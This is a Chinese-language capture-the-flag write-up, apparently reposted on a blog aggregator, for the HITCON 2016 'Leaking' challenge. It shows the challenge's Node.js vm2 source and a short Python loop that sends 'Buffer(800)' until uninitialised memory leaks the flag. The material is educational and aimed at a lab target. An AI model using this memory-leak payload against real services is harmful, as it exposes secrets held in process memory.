BUUCTF [HITCON 2016] Leaking
BUUCTF [HITCON 2016] Leaking
考點:
啟動環境:
"use strict";var randomstring = require("randomstring"); var express = require("express"); var {VM } = require("vm2"); var fs = require("fs");var app = express(); var flag = require("./config.js").flagapp.get("/", function(req, res) {res.header("Content-Type", "text/plain");/* Orange is so kind so he put the flag here. But if you can guess correctly :P */eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")if (req.query.data && req.query.data.length <= 12) {var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));} else {res.send(fs.readFileSync(__filename).toString());} });app.listen(3000, function() {console.log("listening on port 3000!"); });題目名:泄露,給出了源碼,應該是段Node.js代碼,沒太接觸過
其中定義了變量flag,并且存在eval()函數,可能是需要命令執行,并且注釋也提示了flag被藏在這里。查看到前面有var { VM } = require("vm2");,查閱資料后,得知是Node.js 官方安全沙箱的庫,參考資料NPM酷庫:vm2,安全的沙箱環境
VM2原理
VM2基于VM,使用官方的VM庫構建沙箱環境。然后使用JavaScript的Proxy技術來防止沙箱腳本逃逸。
vm2 特性
- 運行不受信任的JS腳本
- 沙箱的終端輸出信息完全可控
- 沙箱內可以受限地加載modules
- 可以安全地向沙箱間傳遞callback
- 死循環攻擊免疫 while (true) {}
node.js沙箱逃逸是個知識盲區,查閱了大佬的wp[HITCON 2016]Leaking node.js沙箱逃逸
在較早一點的node.js版本中 (8.0 之前),當 Buffer 的構造函數傳入數字時, 會得到與數字長度一致的一個 Buffer,并且這個 Buffer 是未清零的。8.0 之后的版本可以通過另一個函數 Buffer.allocUnsafe(size) 來獲得未清空的內存。
注:關于 Buffer
JavaScript 語言自身只有字符串數據類型,沒有二進制數據類型。
但在處理像TCP流或文件流時,必須使用到二進制數據。因此在 Node.js中,定義了一個 Buffer 類,該類用來創建一個專門存放二進制數據的緩存區。
只要是調用過的變量,一定會存在內存中,所以需要使用Buffer()來讀取內存,使用data=Buffer(800)分配一個800的單位為8位字節的buffer,編寫Python3的EXP:
import requestsurl = 'http://f81a9cf8-9be7-4245-96fe-da986bbe60e1.node3.buuoj.cn/?data=Buffer(800)'while True:res = requests.get(url)print(res.status_code)if 'hitcon{' in res.text:print(res.text)break運行一陣子后,得到flag:
總結
以上是生活随笔為你收集整理的BUUCTF [HITCON 2016] Leaking的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 苹果“面目全非”的 iOS7
- 下一篇: 服务器宕机原因有哪些?服务器宕机解决方案